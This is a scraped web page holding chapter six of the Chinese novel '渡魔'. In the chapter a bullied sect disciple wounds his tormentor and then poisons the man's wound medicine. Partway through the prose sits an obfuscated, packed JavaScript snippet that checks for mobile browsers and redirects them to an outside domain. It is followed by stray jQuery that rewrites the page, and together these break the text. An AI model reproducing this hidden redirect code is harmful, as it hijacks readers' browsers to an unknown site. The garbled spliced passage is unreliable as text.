6. 第六章
作品:《渡魔》 宗祭的视线骤然自下而上扫过来,对上那一双黑白分明的眼珠,赴青阳竟然不受控制地愣了一下。
下一瞬间,只听到“唰”一声有如剑刃出鞘的声音,赴青阳只觉眼前寒芒一闪——宗祭竟一剑刺向了赴青阳的咽喉!
“…………”
整个空间似乎都凝滞了一瞬。
宗祭在他们面前从来都是蜷缩着挨打,赴青阳没想到他竟然会反抗,而且还是直接动了利器!
赴青阳惊怒之下竟没来得及躲闪,下意识用手去挡,被宗祭一剑割伤了右臂,血痕直接透过浅蓝色的衣衫,登时洇出了一片红色。
从前他们欺负宗祭,最多不过是拳打脚踢,还没有到刀剑相向的地步,宗祭突然毫无预兆爆发,旁边的弟子也震惊不已,惊呼道:“宗祭你疯了!”
“你竟然敢出剑伤人!”
“……有何不敢。”
剑刃上沾了一丝鲜红的血光,宗祭弯了弯唇,低低地笑了一声,眉眼间竟然透出某种锐利的邪性。
他勾唇道:“我本来就是师父捡回来的孤儿,触犯了门规,最多不过是被赶出苍梧派,再也不得做门中弟子。”
“大师兄就不同了,出身江湖上名门望族,若是被逐出师门……”
宗祭停了停,“恐怕是整个家族的耻辱,传扬出去可是有辱门楣啊。”
“你……!”
赴青阳疼的“嘶”的倒吸了一口冷气,要不是他刚才反应快,那一剑当真能割断他的脖子——宗祭这小疯子是真的想杀了他!
看着手臂上血流不止的伤口,赴青阳愈发暴怒不已,“老子今天就好好教训你!”
说完抓住宗祭的领口把他整个人拎起来、重重摔到了地上,一只脚踩在他执剑的手腕上,另一只脚狠狠踹向他的腹部,宗祭唇边一口血喷了出来。
“你竟然想杀了我,果然早就对我怀恨在心!”
想起方才那一剑,赴青阳仍是惊怒不已,又一脚踹了上去,“刚才不是很横吗,嗯?怎么不继续嚣张了!?”
宗祭抹过唇边血迹,低声笑起来。
“还笑、让你再笑!”
赴青阳的拳脚与咒骂不断落下,大有把宗祭活活打死的架势,这已经远超出了平日里“打闹”的限度,然而赴青阳已经红了眼,没有人敢上去劝他。
这时,殿外一道声音传来——
“你们在做什么!”
兰烛还没踏入殿内,就闻到了一股刺鼻的血腥味,他飞身而至,看到赴青阳的暴行,厉声制止道:“师兄!住手!”
淮婴见势不妙,先发制人说道:“兰烛,是宗祭先用武器伤人的,要不是大师兄反应快,现在都已经身首异处了。”
其他弟子也附和:“对啊,我们都看到了,是宗祭这小子先出剑伤人的。”
有几个弟子却没吭声,许是觉得赴青阳今日行为太出格,不愿再与他为伍,毕竟兔子急了还会咬人……更何况宗祭还是一个有血有肉的人。
兰烛扫了眼餐堂中一片狼藉的惨状,大概已经猜到发生了什么,道:“无缘无故,宗祭为何会突然动手伤人。”
“更何况,现在已是午休之时,诸位师兄们不在各自院中休息,都在这里做什么?”
“师父一再教导我们,身为苍梧派弟子,需得自律守正,与同门师兄弟之间互敬互助、友善和睦。”
“如今却一而再、再而三发生同室相残之事——将宗门戒律置于何地?”
赴青阳缓缓起身,抬起那只仍在滴着血的手腕,神情阴鸷:“兰烛,他把我伤成这样,你让我就这么算了?”
有过之前擂台上的那一幕,再加上现下的阵仗,不想也知道又是赴青阳先挑起的祸事,兰烛冷着一张脸:“今日之事,个中缘由、是非对错,自有慈济师叔定夺,大师兄受了伤,还是早些回去处理伤口吧。”
赴青阳心有不甘,可奈何兰烛在场不能继续做些什么,恶狠狠地剐了宗祭一眼,趾高气昂地走了。
其他弟子也随之散去。
兰烛跑到宗祭身边,把他扶起来,担心地望着他:“宗祭,你没事吧?”
这小倒霉蛋,只是两天不见,怎么又被打成了这样。
宗祭慢慢站直身体,拂开兰烛的手,轻声咳出一口淤血。
他忍痛吸了一口气,缓步走到餐台,重新打了一份午膳,是剩下的最后一点残羹冷饭。
兰烛咬了咬唇,默默地看着他。
宗祭旁若无人地坐下,木筷夹起几颗白米,张口吃下。
还有心情吃饭,应当没什么大事。
“………”
他们刚吵架没多久,目前还在“冷战期”,兰烛在他对面坐着,也不知道要说什么。
犹豫了片刻,从怀里摸出一包肉脯,推到宗祭的面前。
宗祭视若无睹,味同嚼蜡地吃过带着浓重血腥味的午膳,起身准备离开。
“喂”兰烛叫他。
宗祭没回头,只是转眼一瞥。
兰烛小声的:“你……你不打算跟我道歉吗。”
兰烛有些担心宗祭的伤,但还在生气他前两日说的那些话,于是偷偷摸摸快速看了宗祭一眼、又马上收回目光,主动给他一个台阶下。
“你跟我道歉,我就原谅你了。”
……还可以顺便帮你疗伤。
这句话说完,身后许久都没有动静。
兰烛回过头一看,宗祭已经径自走出很远了。
兰烛:“………”
他泄气道:“算了,他说过不想看到我了。”
“我干嘛还要去担心他。”
兰烛看他蹒跚离去的背影,叹了口气,前往慈济师叔的飞鸟阁。
梧桐别院,宗祭穿着一件单薄的里衣,在床榻上打坐,双手置于膝上。
他凝目运起「换尸子」的功法,瞳孔中一道血色的红光闪过,隐约游动的黑线开始缓缓修复他五脏的内伤,周身的痛感顿时减轻了许多。
许久,宗祭睁开眼。
那一剑,没能直接杀了他……真是可惜。
不过,像赴青阳这种欺软怕硬的货色,就这么一死了之,太过无趣了。
宗祭翻身下床,走到角落书柜前,拉开一道柜阁。
柜子里是些乱七八糟的杂物,角落放着一个漆黑的瓷瓶。
宗祭将瓷瓶的盖子打开,里面装的是一些淡红的粉末。
宗祭垂眼,一指轻轻捻了捻。
手指沾上一点粉末,顿时传来强烈的刺痛感,整个指尖都泛起被灼烧的红色。
宗祭却像全然感觉不到痛楚一般,将瓷瓶慢慢、慢慢紧握在手中。
夜半。
兰烛躺在床上,蒙着脑袋生闷气。
兰烛其实并不擅长处理太过复杂的人际关系。
将近二十年的人生里也从来没有遇到过宗祭这种性格的人。
幼时在苍梧山时,是父亲的掌上明珠,小兰烛性格可爱又亲人,师兄们对他也是宠爱至极。
蓬莱仙岛更是一处世外桃源,空法大师一共只收了三位弟子,兰烛亦是最小的那个,在外修行八年,蓬莱岛上的人对他皆是关怀备至。
没有遇到过哪一个人……像宗祭的脾气这样古怪。
浑身都是刺,不知道碰到哪里,就会突然被扎上一下。
兰烛只觉得自己好似在一片陌生的雷区探索,不知道走到哪一步,头顶上就会突然劈下一道雷来。
窗外夜深人静,明月高悬,可兰烛翻来覆去地睡不着。
许久,他一个鲤鱼打挺从榻上翻了起来,披着件月黄外衣走出了房间。
兰烛本来只是想出去透透气。
漫无目的地四处闲逛,不知怎么就走到了宗祭的门前。
兰烛望着面前紧闭的房门:“………”
算了,来都来了。
毕竟……宗祭白日里看起来伤的很重,也不知道有没有伤及五脏六腑,不至于为了一时赌气,连他的性命都不管不顾了。
兰烛正要抬手敲门,却敏锐察觉到了一阵远远而至的脚步声,他下意识藏到了墙后,只偷偷摸摸探出一只眼睛。
回来的人是宗祭。
——宗祭竟然没在房间里好好休息养伤,半夜三更不知道去了何处,又趁着夜色匆忙赶了回来。
兰烛不免奇怪,心道:这么晚了……他一个人去做什么了?
看宗祭步伐迅捷,不像是……白日里受了重伤的样子。
难道真的是他多虑了?
“总之,没事就好了。”
兰烛放下心,折身回去睡觉。
次日一早,赴青阳光着半边膀子坐在椅子上,伸出手臂,拆开纱布换药。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207781|181314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
那剑伤斜切一道,几乎切过他的整条小臂,长,但并不深。
“果然,兔子急了还会咬人。”
“宗祭昨天是吃了熊心豹子胆了,”
“看我以后怎么收拾他。”
淮婴在一旁帮他上药,将能够愈合止痛的天灵花粉末洒在他的伤口上,“幸好那小子没什么修为,只是受了些皮肉伤,否则,你这条胳膊以后怕是不能拿剑了。”
赴青阳只觉得伤口微微有些发热,以为是药效之故,还在冷笑,“想重伤我,宗祭也得有那个本事。”
淮婴将布条裹好,紧紧打了个结。
“等等,”
赴青阳的脸色变得愈发不对,看向被包扎好的手臂。
“你刚刚……弄的那是什么东西?”
.
同一时间,兰烛同师兄们一起在听风崖练剑,萧飒声起,他单手挽了一个漂亮的剑花。
“不好了,大师兄出事了!”一个弟子急匆匆跑了过来。
“大师兄他受了剑伤。今日一早用过药之后,不知为何,伤势愈发严重。”
“伤口迅速恶化,皮肤都腐烂了!”
“什么!?”众人皆是色变。
兰烛跟其他师兄们一起前去探望赴青阳的时候,房间里已经响彻杀猪一般的惨叫声。
“吵死了,别叫了,叫也没用。”一道冷静的女声传来,“伤口必须尽快处理干净,否则会继续恶化下去,整条胳膊都保不住了!”
然后又是一阵撕心裂肺的鬼哭狼嚎。
……
许久,一位穿着紫衣的女医修从房内走出来。
一大清早就被魔音贯耳,还沾了一身血腥气,此时脸色看起来有些不太好。
兰烛问道:“柳姐姐,师兄的伤势如何?”
那医修摘了手套道,“腐坏的地方都已经剔除了,并未伤及筋骨,只是,难免要受些皮肉之苦了。”
其他弟子道:“可会影响师兄后续修行练剑?”
“若恢复的好,便无大碍。”
“大师兄的伤势为何突然恶化,昨夜不是还没事吗?”
“对啊,怎么会这样?”
“听淮婴师兄说,早上用完药之后就变成这样了。”
“那药呢?”
“……已经用完了。”
兰烛在一旁听着,心中疑窦丛生。
为何上药之后,伤势反而更加严重了……
莫非是药有什么问题。
想到这里,兰烛想起昨天半夜宗祭步履匆匆,不知从何处赶回。
难道……
兰烛不免有些迟疑。
如此揣测无凭无据,可这时间未免也太过巧合了些。
兰烛喃喃道:“宗祭此时应该在房中,不如直接去问一问他。”
“宗祭。”
兰烛推门而入。
宗祭百无聊赖坐在桌前,单手支着下巴,另一只手里把玩着用白纸叠出的一只蝴蝶。
看到兰烛进来,把纸蝴蝶捏在手心,变成了一团废纸。
他神色冷淡道:“你来做什么。”
兰烛向来不喜欢绕那些虚虚实实的弯子,直截了当地问:“你知道师兄今日伤势突然恶化的事吗?”
听到这个问题,宗祭眉梢微微挑了挑,似笑非笑的语调,“知道啊。”
没想到他竟然就这样承认了,兰烛难以置信:“所以……真的是你在师兄的药里动了什么手脚。”
看到兰烛这样的反应,宗祭不知从哪儿生出一股诡异的痛快——好似终于可以将他心中丛生的扭曲恶意,肆无忌惮地摊开来给旁人看。
尤其这个人还是兰烛。
宗祭故意拖长了语调,“是啊。”
语气愉悦而恶劣:“我只是在他的伤药里,加了一点点腐血草的粉末而已。”
“你不是告诉我,若是被人欺凌,也要让对方觉得疼吗?”
“不知道这样,师兄觉得够不够疼?”
兰烛:“但是……”
宗祭讥讽一笑,起身走到兰烛面前,直勾勾盯着他,眼中笑意尽褪,语气渗出丝丝寒意:“怎么,你觉得我这样做不够光明磊落,我不应该暗自在他的伤药之中做手脚。”
“还是你觉得,我的行事手段太过恶毒,配不上你们这些「名门正派」的气节?”